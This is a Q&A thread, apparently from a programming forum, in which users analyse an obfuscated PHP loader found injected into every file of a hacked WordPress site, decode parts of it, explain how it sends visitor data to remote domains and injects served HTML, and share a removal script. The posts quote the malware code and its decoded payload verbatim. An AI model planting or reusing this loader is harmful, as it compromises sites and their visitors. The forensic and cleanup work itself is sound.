I discovered this code inserted at the top of every single PHP file inside of an old, outdated WordPress installation. I want to figure out what this script was doing, but have been unable to decipher the main hidden code. Can someone with experience in these matters decrypt it?
Thanks!
<?php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?>
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#erro%x7824*<!%x5c%x7824-2bge56+99386c6f+9f5d816:+25)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x782mpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3825!*72!%x5c%x7827!hmg%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x782[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-d]51]y35]256]y76]72]y3d]51]y35]274]yeobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!*#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x78]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<bg!osvufs!|ftmf!~<**9.-j%x5c5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7dx7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5**b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x7sfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x7825bss%x5c%x785csbhpph#)zbssb!-#}#)fep:~:<*9-1-r%x5c%x7825)825,3,j%x5c%x7825>j%x5c%82f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmc%x78786<C%x5c%x7827&6<*rfs%x5c1127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5%x7825-bubE{h%x5c%x7825)su34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)25-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%xx7827)fepdof.)fepdof.%x5c%x782f###%V,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%xr_reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%xy76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osv2%164") && (!isset($GLOBALS["%x61%156%x75%156%xu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%8257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%5c%x7825)fnbozcYufhA%x5c%x78272qj%x/(.*)/epreg_replacestvbowvmjj';
$uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19');
$aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37));
if (!function_exists('hperlerwfe')) {
function hperlerwfe($opchjywcur, $oguxphvfkm) {
$frnepusuoj = NULL;
for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) {
$frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]);
}
return $frnepusuoj;
};
}
$rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ ";
$yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26));
$yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL);
$yiffimogfj = $rfmxgmmowh;
$yiffimogfj = (470 - 349);
$nzujvbbqez = $yiffimogfj - 1; ?>
After digging though the obfuscated code untangling a number of preg_replace, eval, create_function statements, this is my try on explaining what the code does:
The code will start output buffering and register a callback function triggered at the end of buffering, e.g. when the output is to be sent to the web server.
First, the callback function will attempt to uncompress the output buffer contents if necessary using gzinflate, gzuncompress, gzdecode or a custom gzinflate based decoder (I have not dug any deeper into this).
With the contents uncompressed, a request will be made containing the $_SERVER values of
HTTP_USER_AGENT
HTTP_REFERER
REMOTE_ADDR
HTTP_HOST
PHP_SELF
... to the domain given by chars 0-8 or 8-15 (randomly picks one or the other) in an md5 hash of the IPv4 address of "stat-dns.com" appended with ".com", currently giving md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com".
The request will be attempted using file_get_contents, curl_exec, file and finally socket_write.
Note that no request will be made if:
any of the HTTP_USER_AGENT, REMOTE_ADDR or HTTP_HOST is empty/not set
PHP_SELF contains the word "admin"
HTTP_USER_AGENT contains any of the words "google", "slurp", "msnbot", "ia_archiver", "yandex" or "rambler".
Secondly, if the output buffer contents has a body or html tag, and the response from the request above (decoded using en2() function below) contains at least one "!NF0" string, the content between the first and second "!NF0" (or end of string) will be injected into the HTML page at the beginning of the body or in case there is no body tag, the html tag.
The code used for encoding/decoding traffic is this one:
function en2($s, $q) {
$g = "";
while (strlen($g) < strlen($s)) {
$q = pack("H*", md5($g . $q . "q1w2e3r4"));
$g .= substr($q, 0, 8);
}
return $s ^ $g;
}
$s is the string to encode/decode and $q is a random number between 100000 and 999999 acting as a key.
The request URL mentioned above is calculated like this:
$url = "http:// ... /"
. $op // Random number/key
. "?"
. urlencode(
urlencode(
base64_encode(en2( $http_user_agent, $op)) . "." .
base64_encode(en2( $http_referrer, $op)) . "." .
base64_encode(en2( $remote_addr, $op)) . "." .
base64_encode(en2( $http_host, $op)) . "." .
base64_encode(en2( $php_self, $op))
)
);
While I have not found any sign of what initially placed the malicious code on your server, or that it does anything else than allowing for bad HTML/JavaScript code to be injected on your web pages that does not mean that it is not still there.
You really should make a clean install, like suggested by #Bulk above:
The only way you'll ever know for sure it's been cleaned is to
re-install absolutely everything you can from scratch - i.e. fresh
wordpress install, fresh plugin install. Then literally comb every
line of your theme for anything out of the ordinary. Also of note,
they often will put things in wp-content/uploads that look like images
but aren't - check those too.
Pastebin here.
Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.